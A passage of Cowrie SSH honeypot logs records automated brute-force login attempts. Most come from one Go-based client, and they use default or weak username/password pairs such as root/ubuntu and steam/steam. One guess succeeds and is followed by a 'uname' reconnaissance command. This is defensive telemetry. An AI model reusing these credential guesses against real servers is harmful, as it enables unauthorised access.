-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:31.179578Z","src_ip":"192.109.200.78","session":"b64d0da20eb1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:31.433585Z","src_ip":"192.109.200.78","session":"b64d0da20eb1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:31.653111Z","src_ip":"192.109.200.78","session":"b64d0da20eb1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:31.657178Z","src_ip":"192.109.200.78","session":"b64d0da20eb1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:31.743090Z","src_ip":"192.109.200.78","session":"b64d0da20eb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:31.748654Z","src_ip":"192.109.200.78","session":"b64d0da20eb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44766,"dst_ip":"10.17.0.5","dst_port":22,"session":"07158bc9a782","protocol":"ssh","message":"New connection: 192.109.200.78:44766 (10.17.0.5:22) [session: 07158bc9a782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:35.296814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:35.301899Z","src_ip":"192.109.200.78","session":"07158bc9a782","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:35.385159Z","src_ip":"192.109.200.78","session":"07158bc9a782","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:35.639066Z","src_ip":"192.109.200.78","session":"07158bc9a782","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:36.725882Z","src_ip":"192.109.200.78","session":"07158bc9a782","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39124,"dst_ip":"10.17.0.5","dst_port":22,"session":"f24bda34cf1a","protocol":"ssh","message":"New connection: 192.109.200.78:39124 (10.17.0.5:22) [session: f24bda34cf1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:39.378566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:39.383599Z","src_ip":"192.109.200.78","session":"f24bda34cf1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:39.469178Z","src_ip":"192.109.200.78","session":"f24bda34cf1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:39.864125Z","src_ip":"192.109.200.78","session":"f24bda34cf1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:40.953104Z","src_ip":"192.109.200.78","session":"f24bda34cf1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56002,"dst_ip":"159.203.135.109","dst_port":22,"session":"043b758488ef","protocol":"ssh","message":"New connection: 159.203.92.129:56002 (159.203.135.109:22) [session: 043b758488ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:41.547253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:41.552419Z","src_ip":"159.203.92.129","session":"043b758488ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:41.558066Z","src_ip":"159.203.92.129","session":"043b758488ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Qwer1234","message":"login attempt [admin/Qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:41.572420Z","src_ip":"159.203.92.129","session":"043b758488ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:42.580048Z","src_ip":"159.203.92.129","session":"043b758488ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39126,"dst_ip":"10.17.0.5","dst_port":22,"session":"b24dba711389","protocol":"ssh","message":"New connection: 192.109.200.78:39126 (10.17.0.5:22) [session: b24dba711389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:43.668273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:43.673303Z","src_ip":"192.109.200.78","session":"b24dba711389","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:43.759969Z","src_ip":"192.109.200.78","session":"b24dba711389","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samanalid","password":"123456","message":"login attempt [samanalid/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:44.008703Z","src_ip":"192.109.200.78","session":"b24dba711389","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:45.094817Z","src_ip":"192.109.200.78","session":"b24dba711389","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39140,"dst_ip":"10.17.0.5","dst_port":22,"session":"8346944eeb39","protocol":"ssh","message":"New connection: 192.109.200.78:39140 (10.17.0.5:22) [session: 8346944eeb39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:47.883964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:47.888950Z","src_ip":"192.109.200.78","session":"8346944eeb39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:47.971283Z","src_ip":"192.109.200.78","session":"8346944eeb39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sinusbot","password":"sinusbot","message":"login attempt [sinusbot/sinusbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:48.216900Z","src_ip":"192.109.200.78","session":"8346944eeb39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:49.301514Z","src_ip":"192.109.200.78","session":"8346944eeb39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41158,"dst_ip":"10.17.0.5","dst_port":22,"session":"41864893958a","protocol":"ssh","message":"New connection: 192.109.200.78:41158 (10.17.0.5:22) [session: 41864893958a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:51.951097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:51.959993Z","src_ip":"192.109.200.78","session":"41864893958a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:52.106146Z","src_ip":"192.109.200.78","session":"41864893958a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:52.506274Z","src_ip":"192.109.200.78","session":"41864893958a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:53.591089Z","src_ip":"192.109.200.78","session":"41864893958a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41172,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0768fee9306","protocol":"ssh","message":"New connection: 192.109.200.78:41172 (10.17.0.5:22) [session: a0768fee9306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:56.316107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:56.321765Z","src_ip":"192.109.200.78","session":"a0768fee9306","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:56.408503Z","src_ip":"192.109.200.78","session":"a0768fee9306","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:56.662211Z","src_ip":"192.109.200.78","session":"a0768fee9306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:57.747853Z","src_ip":"192.109.200.78","session":"a0768fee9306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42944,"dst_ip":"10.17.0.5","dst_port":22,"session":"361fc8efb333","protocol":"ssh","message":"New connection: 192.109.200.78:42944 (10.17.0.5:22) [session: 361fc8efb333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:00.500489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:00.506016Z","src_ip":"192.109.200.78","session":"361fc8efb333","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gc